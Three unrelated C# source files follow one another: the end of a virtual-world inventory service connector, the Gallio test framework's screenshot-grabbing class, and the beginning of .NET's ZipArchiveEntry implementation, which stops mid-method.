nullCollection.Folders = new List<InventoryFolderBase>();
nullCollection.Items = new List<InventoryItemBase>();
nullCollection.UserID = new UUID(userID);
return nullCollection;
}
public bool AddFolder(string userID, InventoryFolderBase folder, UUID sessionID)
{
try
{
return SynchronousRestSessionObjectPoster<InventoryFolderBase, bool>.BeginPostObject(
"POST", m_ServerURI + "/NewFolder/", folder, sessionID.ToString(), folder.Owner.ToString());
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Add new inventory folder operation failed for {0} {1}, {2} {3}",
folder.Name, folder.ID, e.Source, e.Message);
}
return false;
}
public bool UpdateFolder(string userID, InventoryFolderBase folder, UUID sessionID)
{
try
{
return SynchronousRestSessionObjectPoster<InventoryFolderBase, bool>.BeginPostObject(
"POST", m_ServerURI + "/UpdateFolder/", folder, sessionID.ToString(), folder.Owner.ToString());
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Update inventory folder operation failed for {0} {1}, {2} {3}",
folder.Name, folder.ID, e.Source, e.Message);
}
return false;
}
public bool DeleteFolders(string userID, List<UUID> folderIDs, UUID sessionID)
{
try
{
List<Guid> guids = new List<Guid>();
foreach (UUID u in folderIDs)
guids.Add(u.Guid);
return SynchronousRestSessionObjectPoster<List<Guid>, bool>.BeginPostObject(
"POST", m_ServerURI + "/DeleteFolders/", guids, sessionID.ToString(), userID);
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Delete inventory folders operation failed, {0} {1}",
e.Source, e.Message);
}
return false;
}
public bool MoveFolder(string userID, InventoryFolderBase folder, UUID sessionID)
{
try
{
return SynchronousRestSessionObjectPoster<InventoryFolderBase, bool>.BeginPostObject(
"POST", m_ServerURI + "/MoveFolder/", folder, sessionID.ToString(), folder.Owner.ToString());
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Move inventory folder operation failed for {0} {1}, {2} {3}",
folder.Name, folder.ID, e.Source, e.Message);
}
return false;
}
public bool PurgeFolder(string userID, InventoryFolderBase folder, UUID sessionID)
{
try
{
return SynchronousRestSessionObjectPoster<InventoryFolderBase, bool>.BeginPostObject(
"POST", m_ServerURI + "/PurgeFolder/", folder, sessionID.ToString(), folder.Owner.ToString());
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Purge inventory folder operation failed for {0} {1}, {2} {3}",
folder.Name, folder.ID, e.Source, e.Message);
}
return false;
}
public List<InventoryItemBase> GetFolderItems(string userID, UUID folderID, UUID sessionID)
{
try
{
InventoryFolderBase folder = new InventoryFolderBase(folderID, new UUID(userID));
return SynchronousRestSessionObjectPoster<InventoryFolderBase, List<InventoryItemBase>>.BeginPostObject(
"POST", m_ServerURI + "/GetItems/", folder, sessionID.ToString(), userID);
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Get folder items operation failed for folder {0}, {1} {2}",
folderID, e.Source, e.Message);
}
return null;
}
public bool AddItem(string userID, InventoryItemBase item, UUID sessionID)
{
try
{
return SynchronousRestSessionObjectPoster<InventoryItemBase, bool>.BeginPostObject(
"POST", m_ServerURI + "/NewItem/", item, sessionID.ToString(), item.Owner.ToString());
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Add new inventory item operation failed for {0} {1}, {2} {3}",
item.Name, item.ID, e.Source, e.Message);
}
return false;
}
public bool UpdateItem(string userID, InventoryItemBase item, UUID sessionID)
{
try
{
return SynchronousRestSessionObjectPoster<InventoryItemBase, bool>.BeginPostObject(
"POST", m_ServerURI + "/NewItem/", item, sessionID.ToString(), item.Owner.ToString());
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Update new inventory item operation failed for {0} {1}, {2} {3}",
item.Name, item.ID, e.Source, e.Message);
}
return false;
}
/**
* MoveItems Async group
*/
delegate void MoveItemsDelegate(string userID, List<InventoryItemBase> items, UUID sessionID);
private void MoveItemsAsync(string userID, List<InventoryItemBase> items, UUID sessionID)
{
if (items == null)
{
m_log.WarnFormat("[INVENTORY CONNECTOR]: request to move items got a null list.");
return;
}
try
{
//SynchronousRestSessionObjectPoster<List<InventoryItemBase>, bool>.BeginPostObject(
// "POST", m_ServerURI + "/MoveItems/", items, sessionID.ToString(), userID.ToString());
//// Success
//return;
string uri = m_ServerURI + "/inventory/" + userID;
if (SynchronousRestObjectRequester.
MakeRequest<List<InventoryItemBase>, bool>("PUT", uri, items))
m_log.DebugFormat("[INVENTORY CONNECTOR]: move {0} items poster succeeded {1}", items.Count, uri);
else
m_log.DebugFormat("[INVENTORY CONNECTOR]: move {0} items poster failed {1}", items.Count, uri); ;
return;
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Move inventory items operation failed, {0} {1} (old server?). Trying slow way.",
e.Source, e.Message);
}
}
private void MoveItemsCompleted(IAsyncResult iar)
{
MoveItemsDelegate d = (MoveItemsDelegate)iar.AsyncState;
d.EndInvoke(iar);
}
public bool MoveItems(string userID, List<InventoryItemBase> items, UUID sessionID)
{
MoveItemsDelegate d = MoveItemsAsync;
d.BeginInvoke(userID, items, sessionID, MoveItemsCompleted, d);
return true;
}
public bool DeleteItems(string userID, List<UUID> items, UUID sessionID)
{
try
{
List<Guid> guids = new List<Guid>();
foreach (UUID u in items)
guids.Add(u.Guid);
return SynchronousRestSessionObjectPoster<List<Guid>, bool>.BeginPostObject(
"POST", m_ServerURI + "/DeleteItem/", guids, sessionID.ToString(), userID);
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Delete inventory items operation failed, {0} {1}",
e.Source, e.Message);
}
return false;
}
public InventoryItemBase QueryItem(string userID, InventoryItemBase item, UUID sessionID)
{
try
{
return SynchronousRestSessionObjectPoster<InventoryItemBase, InventoryItemBase>.BeginPostObject(
"POST", m_ServerURI + "/QueryItem/", item, sessionID.ToString(), item.Owner.ToString());
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Query inventory item operation failed, {0} {1}",
e.Source, e.Message);
}
return null;
}
public InventoryFolderBase QueryFolder(string userID, InventoryFolderBase folder, UUID sessionID)
{
try
{
return SynchronousRestSessionObjectPoster<InventoryFolderBase, InventoryFolderBase>.BeginPostObject(
"POST", m_ServerURI + "/QueryFolder/", folder, sessionID.ToString(), userID);
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Query inventory folder operation failed, {0} {1}",
e.Source, e.Message);
}
return null;
}
public int GetAssetPermissions(string userID, UUID assetID, UUID sessionID)
{
try
{
InventoryItemBase item = new InventoryItemBase();
item.Owner = new UUID(userID);
item.AssetID = assetID;
return SynchronousRestSessionObjectPoster<InventoryItemBase, int>.BeginPostObject(
"POST", m_ServerURI + "/AssetPermissions/", item, sessionID.ToString(), userID);
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: AssetPermissions operation failed, {0} {1}",
e.Source, e.Message);
}
return 0;
}
#endregion
/// <summary>
/// Callback used by the inventory server GetInventory request
/// </summary>
/// <param name="userID"></param>
private void InventoryResponse(InventoryCollection response)
{
UUID userID = response.UserID;
InventoryReceiptCallback callback = null;
lock (m_RequestingInventory)
{
if (m_RequestingInventory.ContainsKey(userID))
{
callback = m_RequestingInventory[userID];
m_RequestingInventory.Remove(userID);
lock (m_RequestTime)
{
if (m_RequestTime.ContainsKey(userID))
{
m_RequestTime.Remove(userID);
}
}
}
else
{
m_log.WarnFormat(
"[INVENTORY CONNECTOR]: " +
"Received inventory response for {0} for which we do not have a record of requesting!",
userID);
return;
}
}
m_log.InfoFormat("[INVENTORY CONNECTOR]: " +
"Received inventory response for user {0} containing {1} folders and {2} items",
userID, response.Folders.Count, response.Items.Count);
InventoryFolderImpl rootFolder = null;
ICollection<InventoryFolderImpl> folders = new List<InventoryFolderImpl>();
ICollection<InventoryItemBase> items = new List<InventoryItemBase>();
foreach (InventoryFolderBase folder in response.Folders)
{
if (folder.ParentID == UUID.Zero)
{
rootFolder = new InventoryFolderImpl(folder);
folders.Add(rootFolder);
break;
}
}
if (rootFolder != null)
{
foreach (InventoryFolderBase folder in response.Folders)
{
if (folder.ID != rootFolder.ID)
{
folders.Add(new InventoryFolderImpl(folder));
}
}
foreach (InventoryItemBase item in response.Items)
{
items.Add(item);
}
}
else
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: Did not get back an inventory containing a root folder for user {0}", userID);
}
callback(folders, items);
}
}
}
| |
// Copyright 2005-2010 Gallio Project - http://www.gallio.org/
// Portions Copyright 2000-2004 Jonathan de Halleux
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using Gallio.Common.Platform;
namespace Gallio.Common.Media
{
/// <summary>
/// Grabs screenshots.
/// </summary>
public class ScreenGrabber : IDisposable
{
private readonly CaptureParameters parameters;
private readonly int screenWidth;
private readonly int screenHeight;
private readonly int screenshotWidth;
private readonly int screenshotHeight;
private readonly double xyScale;
private readonly OverlayManager overlayManager;
private bool isDisposed;
private Bitmap screenBuffer;
/// <summary>
/// Creates a screen grabber.
/// </summary>
/// <param name="parameters">The capture parameters.</param>
/// <exception cref="ArgumentNullException">Thrown if <paramref name="parameters"/> is null.</exception>
public ScreenGrabber(CaptureParameters parameters)
{
if (parameters == null)
throw new ArgumentNullException("parameters");
this.parameters = parameters;
Size screenSize = GetScreenSize();
screenWidth = screenSize.Width;
screenHeight = screenSize.Height;
xyScale = Math.Sqrt(parameters.Zoom);
screenshotWidth = (int) Math.Round(screenWidth * xyScale);
screenshotHeight = (int) Math.Round(screenHeight * xyScale);
overlayManager = new OverlayManager();
}
/// <summary>
/// Gets the size of the screen.
/// </summary>
/// <returns>The screen size.</returns>
public static Size GetScreenSize()
{
return new Size(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
}
/// <summary>
/// Returns true if screenshots can be captured.
/// </summary>
/// <remarks>
/// <para>
/// This method may return false if the application is running as a service which has
/// not been granted the right to interact with the desktop.
/// </para>
/// </remarks>
/// <returns>True if the screen can be captured.</returns>
public static bool CanCaptureScreenshot()
{
if (DotNetRuntimeSupport.IsUsingMono)
return false;
return SystemInformation.UserInteractive;
}
/// <summary>
/// Throws an exception if a screenshot cannot be captured at this time.
/// </summary>
/// <exception cref="ScreenshotNotAvailableException">Thrown if a screenshot cannot be captured at this time.</exception>
public static void ThrowIfScreenshotNotAvailable()
{
if (! CanCaptureScreenshot())
throw new ScreenshotNotAvailableException("Cannot capture screenshots at this time. The application may be running as a service that has not been granted the right to interact with the desktop.");
}
/// <summary>
/// Gets the overlay manager.
/// </summary>
public OverlayManager OverlayManager
{
get
{
ThrowIfDisposed();
return overlayManager;
}
}
/// <summary>
/// Gets the capture parameters.
/// </summary>
/// <exception cref="ObjectDisposedException">Thrown if the object has been disposed.</exception>
public CaptureParameters Parameters
{
get
{
ThrowIfDisposed();
return parameters;
}
}
/// <summary>
/// Gets the width of the screenshots that will be taken.
/// </summary>
/// <exception cref="ObjectDisposedException">Thrown if the object has been disposed.</exception>
public int ScreenshotWidth
{
get
{
ThrowIfDisposed();
return screenshotWidth;
}
}
/// <summary>
/// Gets the width of the screenshots that will be taken.
/// </summary>
/// <exception cref="ObjectDisposedException">Thrown if the object has been disposed.</exception>
public int ScreenshotHeight
{
get
{
ThrowIfDisposed();
return screenshotHeight;
}
}
/// <summary>
/// Disposes the screen grabber.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
/// <summary>
/// Captures a screenshot.
/// </summary>
/// <remarks>
/// <para>
/// Captures a screenshot and returns the bitmap. The caller is responsible for disposing
/// the bitmap when no longer needed.
/// </para>
/// </remarks>
/// <param name="bitmap">If not null writes the screenshot into the specified bitmap,
/// otherwise creates and returns a new bitmap.</param>
/// <returns>The screenshot.</returns>
/// <exception cref="ArgumentException">Thrown if the provided <paramref name="bitmap"/> is
/// not of the expected size.</exception>
/// <exception cref="ObjectDisposedException">Thrown if the object has been disposed.</exception>
/// <exception cref="ScreenshotNotAvailableException">Thrown if a screenshot cannot be captured at this time.</exception>
public virtual Bitmap CaptureScreenshot(Bitmap bitmap)
{
ThrowIfDisposed();
if (bitmap != null && (bitmap.Width != screenshotWidth || bitmap.Height != screenshotHeight))
throw new ArgumentException("The bitmap dimensions must exactly match the screenshot dimensions.");
if (DotNetRuntimeSupport.IsUsingMono)
throw new ScreenshotNotAvailableException("Cannot capture screenshots when running under Mono.");
bool allocatedBitmap = false;
try
{
if (bitmap == null)
{
try
{
allocatedBitmap = true;
bitmap = new Bitmap(screenshotWidth, screenshotHeight, PixelFormat.Format32bppRgb);
}
catch (Exception ex)
{
throw new ScreenshotNotAvailableException("Could not allocate bitmap for screenshot.", ex);
}
}
if (xyScale != 1.0)
{
if (screenBuffer == null)
{
try
{
screenBuffer = new Bitmap(screenWidth, screenHeight, PixelFormat.Format32bppRgb);
}
catch (Exception ex)
{
throw new ScreenshotNotAvailableException(
"Could not allocate bitmap for internal screenshot buffer.", ex);
}
}
CaptureScreenToBitmap(screenBuffer);
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
graphics.DrawImage(screenBuffer, 0, 0, screenshotWidth, screenshotHeight);
}
}
else
{
CaptureScreenToBitmap(bitmap);
}
PaintOverlays(bitmap);
return bitmap;
}
catch
{
if (allocatedBitmap && bitmap != null)
bitmap.Dispose();
throw;
}
}
private void CaptureScreenToBitmap(Bitmap bitmap)
{
try
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight),
CopyPixelOperation.SourceCopy);
CURSORINFO cursorInfo = new CURSORINFO();
cursorInfo.cbSize = Marshal.SizeOf(cursorInfo);
if (GetCursorInfo(ref cursorInfo))
{
if (cursorInfo.flags == CURSOR_SHOWING)
{
Cursor cursor = new Cursor(cursorInfo.hCursor);
cursor.Draw(graphics, new Rectangle(
cursorInfo.ptScreenPos.x - cursor.HotSpot.X,
cursorInfo.ptScreenPos.y - cursor.HotSpot.Y,
cursor.Size.Width, cursor.Size.Height));
}
}
}
}
catch (Exception ex)
{
throw new ScreenshotNotAvailableException("Could not capture screenshot. The application may be running as a service that has not been granted the right to interact with the desktop.", ex);
}
}
/// <summary>
/// Paints overlays onto a bitmap.
/// </summary>
/// <param name="bitmap">The bitmap, not null.</param>
protected virtual void PaintOverlays(Bitmap bitmap)
{
overlayManager.PaintOverlaysOnImage(bitmap, 0, 0);
}
/// <summary>
/// Disposes the screen grabber.
/// </summary>
/// <param name="disposing">True if <see cref="Dispose()"/> was called directly.</param>
protected virtual void Dispose(bool disposing)
{
isDisposed = true;
if (screenBuffer != null)
{
screenBuffer.Dispose();
screenBuffer = null;
}
}
/// <summary>
/// Throws <see cref="ObjectDisposedException" /> if the object has been disposed.
/// </summary>
protected void ThrowIfDisposed()
{
if (isDisposed)
throw new ObjectDisposedException("The screen recorder has been disposed.");
}
private const int SM_CXSCREEN = 0;
private const int SM_CYSCREEN = 1;
private const Int32 CURSOR_SHOWING = 0x00000001;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true, ExactSpelling = true)]
static extern bool GetCursorInfo(ref CURSORINFO pci);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true, ExactSpelling = true)]
private static extern int GetSystemMetrics(int nIndex);
[StructLayout(LayoutKind.Sequential)]
private struct POINT
{
public Int32 x;
public Int32 y;
}
[StructLayout(LayoutKind.Sequential)]
private struct CURSORINFO
{
public Int32 cbSize; // Specifies the size, in bytes, of the structure.
// The caller must set this to Marshal.SizeOf(typeof(CURSORINFO)).
public Int32 flags; // Specifies the cursor state. This parameter can be one of the following values:
// 0 The cursor is hidden.
// CURSOR_SHOWING The cursor is showing.
public IntPtr hCursor; // Handle to the cursor.
public POINT ptScreenPos; // A POINT structure that receives the screen coordinates of the cursor.
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using System.Diagnostics;
using System.Diagnostics.CodeAnalysis;
using System.Diagnostics.Contracts;
using System.Text;
namespace System.IO.Compression
{
// The disposable fields that this class owns get disposed when the ZipArchive it belongs to gets disposed
[SuppressMessage("Microsoft.Design", "CA1001:TypesThatOwnDisposableFieldsShouldBeDisposable")]
public partial class ZipArchiveEntry
{
private const ushort DefaultVersionToExtract = 10;
// The maximum index of our buffers, from the maximum index of a byte array
private const int MaxSingleBufferSize = 0x7FFFFFC7;
private ZipArchive _archive;
private readonly bool _originallyInArchive;
private readonly int _diskNumberStart;
private readonly ZipVersionMadeByPlatform _versionMadeByPlatform;
private ZipVersionNeededValues _versionMadeBySpecification;
private ZipVersionNeededValues _versionToExtract;
private BitFlagValues _generalPurposeBitFlag;
private CompressionMethodValues _storedCompressionMethod;
private DateTimeOffset _lastModified;
private long _compressedSize;
private long _uncompressedSize;
private long _offsetOfLocalHeader;
private long? _storedOffsetOfCompressedData;
private uint _crc32;
// An array of buffers, each a maximum of MaxSingleBufferSize in size
private byte[][] _compressedBytes;
private MemoryStream _storedUncompressedData;
private bool _currentlyOpenForWrite;
private bool _everOpenedForWrite;
private Stream _outstandingWriteStream;
private uint _externalFileAttr;
private string _storedEntryName;
private byte[] _storedEntryNameBytes;
// only apply to update mode
private List<ZipGenericExtraField> _cdUnknownExtraFields;
private List<ZipGenericExtraField> _lhUnknownExtraFields;
private byte[] _fileComment;
private CompressionLevel? _compressionLevel;
// Initializes, attaches it to archive
internal ZipArchiveEntry(ZipArchive archive, ZipCentralDirectoryFileHeader cd, CompressionLevel compressionLevel)
: this(archive, cd)
{
_compressionLevel = compressionLevel;
}
// Initializes, attaches it to archive
internal ZipArchiveEntry(ZipArchive archive, ZipCentralDirectoryFileHeader cd)
{
_archive = archive;
_originallyInArchive = true;
_diskNumberStart = cd.DiskNumberStart;
_versionMadeByPlatform = (ZipVersionMadeByPlatform)cd.VersionMadeByCompatibility;
_versionMadeBySpecification = (ZipVersionNeededValues)cd.VersionMadeBySpecification;
_versionToExtract = (ZipVersionNeededValues)cd.VersionNeededToExtract;
_generalPurposeBitFlag = (BitFlagValues)cd.GeneralPurposeBitFlag;
CompressionMethod = (CompressionMethodValues)cd.CompressionMethod;
_lastModified = new DateTimeOffset(ZipHelper.DosTimeToDateTime(cd.LastModified));
_compressedSize = cd.CompressedSize;
_uncompressedSize = cd.UncompressedSize;
_externalFileAttr = cd.ExternalFileAttributes;
_offsetOfLocalHeader = cd.RelativeOffsetOfLocalHeader;
// we don't know this yet: should be _offsetOfLocalHeader + 30 + _storedEntryNameBytes.Length + extrafieldlength
// but entryname/extra length could be different in LH
_storedOffsetOfCompressedData = null;
_crc32 = cd.Crc32;
_compressedBytes = null;
_storedUncompressedData = null;
_currentlyOpenForWrite = false;
_everOpenedForWrite = false;
_outstandingWriteStream = null;
FullName = DecodeEntryName(cd.Filename);
_lhUnknownExtraFields = null;
// the cd should have these as null if we aren't in Update mode
_cdUnknownExtraFields = cd.ExtraFields;
_fileComment = cd.FileComment;
_compressionLevel = null;
}
// Initializes new entry
internal ZipArchiveEntry(ZipArchive archive, string entryName, CompressionLevel compressionLevel)
: this(archive, entryName)
{
_compressionLevel = compressionLevel;
}
// Initializes new entry
internal ZipArchiveEntry(ZipArchive archive, string entryName)
{
_archive = archive;
_originallyInArchive = false;
_diskNumberStart = 0;
_versionMadeByPlatform = CurrentZipPlatform;
_versionMadeBySpecification = ZipVersionNeededValues.Default;
_versionToExtract = ZipVersionNeededValues.Default; // this must happen before following two assignment
_generalPurposeBitFlag = 0;
CompressionMethod = CompressionMethodValues.Deflate;
_lastModified = DateTimeOffset.Now;
_compressedSize = 0; // we don't know these yet
_uncompressedSize = 0;
_externalFileAttr = 0;
_offsetOfLocalHeader = 0;
_storedOffsetOfCompressedData = null;
_crc32 = 0;
_compressedBytes = null;
_storedUncompressedData = null;
_currentlyOpenForWrite = false;
_everOpenedForWrite = false;
_outstandingWriteStream = null;
FullName = entryName;
_cdUnknownExtraFields = null;
_lhUnknownExtraFields = null;
_fileComment = null;
_compressionLevel = null;
if (_storedEntryNameBytes.Length > ushort.MaxValue)
throw new ArgumentException(SR.EntryNamesTooLong);
// grab the stream if we're in create mode
if (_archive.Mode == ZipArchiveMode.Create)
{
_archive.AcquireArchiveStream(this);
}
}
/// <summary>
/// The ZipArchive that this entry belongs to. If this entry has been deleted, this will return null.
/// </summary>
public ZipArchive Archive => _archive;
/// <summary>
/// The compressed size of the entry. If the archive that the entry belongs to is in Create mode, attempts to get this property will always throw an exception. If the archive that the entry belongs to is in update mode, this property will only be valid if the entry has not been opened.
/// </summary>
/// <exception cref="InvalidOperationException">This property is not available because the entry has been written to or modified.</exception>
public long CompressedLength
{
get
{
Contract.Ensures(Contract.Result<long>() >= 0);
if (_everOpenedForWrite)
throw new InvalidOperationException(SR.LengthAfterWrite);
return _compressedSize;
}
}
public int ExternalAttributes
{
get
{
return (int)_externalFileAttr;
}
set
{
ThrowIfInvalidArchive();
_externalFileAttr = (uint)value;
}
}
/// <summary>
/// The relative path of the entry as stored in the Zip archive. Note that Zip archives allow any string to be the path of the entry, including invalid and absolute paths.
/// </summary>
public string FullName
{
get
{
Contract.Ensures(Contract.Result<string>() != null);
return _storedEntryName;
}
private set
{
if (value == null)
throw new ArgumentNullException(nameof(FullName));
bool isUTF8;
_storedEntryNameBytes = EncodeEntryName(value, out isUTF8);
_storedEntryName = value;
if (isUTF8)
_generalPurposeBitFlag |= BitFlagValues.UnicodeFileName;
else
_generalPurposeBitFlag &= ~BitFlagValues.UnicodeFileName;
if (ParseFileName(value, _versionMadeByPlatform) == "")
VersionToExtractAtLeast(ZipVersionNeededValues.ExplicitDirectory);
}
}
/// <summary>
/// The last write time of the entry as stored in the Zip archive. When setting this property, the DateTime will be converted to the
/// Zip timestamp format, which supports a resolution of two seconds. If the data in the last write time field is not a valid Zip timestamp,
/// an indicator value of 1980 January 1 at midnight will be returned.
/// </summary>
/// <exception cref="NotSupportedException">An attempt to set this property was made, but the ZipArchive that this entry belongs to was
/// opened in read-only mode.</exception>
/// <exception cref="ArgumentOutOfRangeException">An attempt was made to set this property to a value that cannot be represented in the
/// Zip timestamp format. The earliest date/time that can be represented is 1980 January 1 0:00:00 (midnight), and the last date/time
/// that can be represented is 2107 December 31 23:59:58 (one second before midnight).</exception>
public DateTimeOffset LastWriteTime
{
get
{
return _lastModified;
}
set
{
ThrowIfInvalidArchive();
if (_archive.Mode == ZipArchiveMode.Read)
throw new NotSupportedException(SR.ReadOnlyArchive);
if (_archive.Mode == ZipArchiveMode.Create && _everOpenedForWrite)
throw new IOException(SR.FrozenAfterWrite);
if (value.DateTime.Year < ZipHelper.ValidZipDate_YearMin || value.DateTime.Year > ZipHelper.ValidZipDate_YearMax)
throw new ArgumentOutOfRangeException(nameof(value), SR.DateTimeOutOfRange);
_lastModified = value;
}
}
/// <summary>
/// The uncompressed size of the entry. This property is not valid in Create mode, and it is only valid in Update mode if the entry has not been opened.
/// </summary>
/// <exception cref="InvalidOperationException">This property is not available because the entry has been written to or modified.</exception>
public long Length
{
get
{
Contract.Ensures(Contract.Result<long>() >= 0);
if (_everOpenedForWrite)
throw new InvalidOperationException(SR.LengthAfterWrite);
return _uncompressedSize;
}
}
/// <summary>
/// The filename of the entry. This is equivalent to the substring of Fullname that follows the final directory separator character.
/// </summary>
public string Name => ParseFileName(FullName, _versionMadeByPlatform);
/// <summary>
/// Deletes the entry from the archive.
/// </summary>
/// <exception cref="IOException">The entry is already open for reading or writing.</exception>
/// <exception cref="NotSupportedException">The ZipArchive that this entry belongs to was opened in a mode other than ZipArchiveMode.Update. </exception>
/// <exception cref="ObjectDisposedException">The ZipArchive that this entry belongs to has been disposed.</exception>
public void Delete()
{
if (_archive == null)
return;
if (_currentlyOpenForWrite)
throw new IOException(SR.DeleteOpenEntry);
if (_archive.Mode != ZipArchiveMode.Update)
throw new NotSupportedException(SR.DeleteOnlyInUpdate);
_archive.ThrowIfDisposed();
_archive.RemoveEntry(this);
_archive = null;
UnloadStreams();
}
/// <summary>
/// Opens the entry. If the archive that the entry belongs to was opened in Read mode, the returned stream will be readable, and it may or may not be seekable. If Create mode, the returned stream will be writable and not seekable. If Update mode, the returned stream will be readable, writable, seekable, and support SetLength.
/// </summary>
/// <returns>A Stream that represents the contents of the entry.</returns>
/// <exception cref="IOException">The entry is already currently open for writing. -or- The entry has been deleted from the archive. -or- The archive that this entry belongs to was opened in ZipArchiveMode.Create, and this entry has already been written to once.</exception>
/// <exception cref="InvalidDataException">The entry is missing from the archive or is corrupt and cannot be read. -or- The entry has been compressed using a compression method that is not supported.</exception>
/// <exception cref="ObjectDisposedException">The ZipArchive that this entry belongs to has been disposed.</exception>
public Stream Open()
{
Contract.Ensures(Contract.Result<Stream>() != null);
ThrowIfInvalidArchive();
switch (_archive.Mode)
{
case ZipArchiveMode.Read:
return OpenInReadMode(checkOpenable: true);
case ZipArchiveMode.Create:
return OpenInWriteMode();
case ZipArchiveMode.Update:
default:
Debug.Assert(_archive.Mode == ZipArchiveMode.Update);
return OpenInUpdateMode();
}
}
/// <summary>
/// Returns the FullName of the entry.
/// </summary>
/// <returns>FullName of the entry</returns>
public override string ToString()
{
Contract.Ensures(Contract.Result<string>() != null);
return FullName;
}
// Only allow opening ZipArchives with large ZipArchiveEntries in update mode when running in a 64-bit process.
// This is for compatibility with old behavior that threw an exception for all process bitnesses, because this
// will not work in a 32-bit process.
private static readonly bool s_allowLargeZipArchiveEntriesInUpdateMode = IntPtr.Size > 4;
internal bool EverOpenedForWrite => _everOpenedForWrite;
private long OffsetOfCompressedData
{
get
{
if (_storedOffsetOfCompressedData == null)
{
_archive.ArchiveStream.Seek(_offsetOfLocalHeader, SeekOrigin.Begin);
// by calling this, we are using local header _storedEntryNameBytes.Length and extraFieldLength
// to find start of data, but still using central directory size information
if (!ZipLocalFileHeader.TrySkipBlock(_archive.ArchiveReader))
throw new InvalidDataException(SR.LocalFileHeaderCorrupt);
_storedOffsetOfCompressedData = _archive.ArchiveStream.Position;
}
return _storedOffsetOfCompressedData.Value;
}
}
private MemoryStream UncompressedData
{
get
{
if (_storedUncompressedData == null)
{
// this means we have never opened it before
// if _uncompressedSize > int.MaxValue, it's still okay, because MemoryStream will just
// grow as data is copied into it
_storedUncompressedData = new MemoryStream((int)_uncompressedSize);
if (_originallyInArchive)
{
using (Stream decompressor = OpenInReadMode(false))
{
try
{
decompressor.CopyTo(_storedUncompressedData);
}
catch (InvalidDataException)
{
// this is the case where the archive say the entry is deflate, but deflateStream
// throws an InvalidDataException. This property should only be getting accessed in
// Update mode, so we want to make sure _storedUncompressedData stays null so
// that later when we dispose the archive, this entry loads the compressedBytes, and
// copies them straight over
_storedUncompressedData.Dispose();
_storedUncompressedData = null;
_currentlyOpenForWrite = false;
_everOpenedForWrite = false;
throw;
}
}
}
// if they start modifying it, we should make sure it will get deflated
CompressionMethod = CompressionMethodValues.Deflate;
}
return _storedUncompressedData;
}
}
private CompressionMethodValues CompressionMethod
{
get { return _storedCompressionMethod; }
set
{
if (value == CompressionMethodValues.Deflate)
VersionToExtractAtLeast(ZipVersionNeededValues.Deflate);
else if (value == CompressionMethodValues.Deflate64)
VersionToExtractAtLeast(ZipVersionNeededValues.Deflate64);
_storedCompressionMethod = value;
}
}
private string DecodeEntryName(byte[] entryNameBytes)
{
Debug.Assert(entryNameBytes != null);
Encoding readEntryNameEncoding;
if ((_generalPurposeBitFlag & BitFlagValues.UnicodeFileName) == 0)
{
readEntryNameEncoding = _archive == null ?
Encoding.UTF8 :
_archive.EntryNameEncoding ?? Encoding.UTF8;
}
else
{
readEntryNameEncoding = Encoding.UTF8;
}
return readEntryNameEncoding.GetString(entryNameBytes);
}
private byte[] EncodeEntryName(string entryName, out bool isUTF8)
{
Debug.Assert(entryName != null);
Encoding writeEntryNameEncoding;
if (_archive != null && _archive.EntryNameEncoding != null)
writeEntryNameEncoding = _archive.EntryNameEncoding;
else
writeEntryNameEncoding = ZipHelper.RequiresUnicode(entryName) ? Encoding.UTF8 : Encoding.ASCII;
isUTF8 = writeEntryNameEncoding.Equals(Encoding.UTF8);
return writeEntryNameEncoding.GetBytes(entryName);
}
// does almost everything you need to do to forget about this entry
// writes the local header/data, gets rid of all the data,
// closes all of the streams except for the very outermost one that
// the user holds on to and is responsible for closing
//
// after calling this, and only after calling this can we be guaranteed
// that we are reading to write the central directory
//
// should only throw an exception in extremely exceptional cases because it is called from dispose
internal void WriteAndFinishLocalEntry()
{
CloseStreams();
WriteLocalFileHeaderAndDataIfNeeded();
UnloadStreams();
}
// should only throw an exception in extremely exceptional cases because it is called from dispose
internal void WriteCentralDirectoryFileHeader()
{
// This part is simple, because we should definitely know the sizes by this time
BinaryWriter writer = new BinaryWriter(_archive.ArchiveStream);
// _entryname only gets set when we read in or call moveTo. MoveTo does a check, and
// reading in should not be able to produce a entryname longer than ushort.MaxValue
Debug.Assert(_storedEntryNameBytes.Length <= ushort.MaxValue);
// decide if we need the Zip64 extra field:
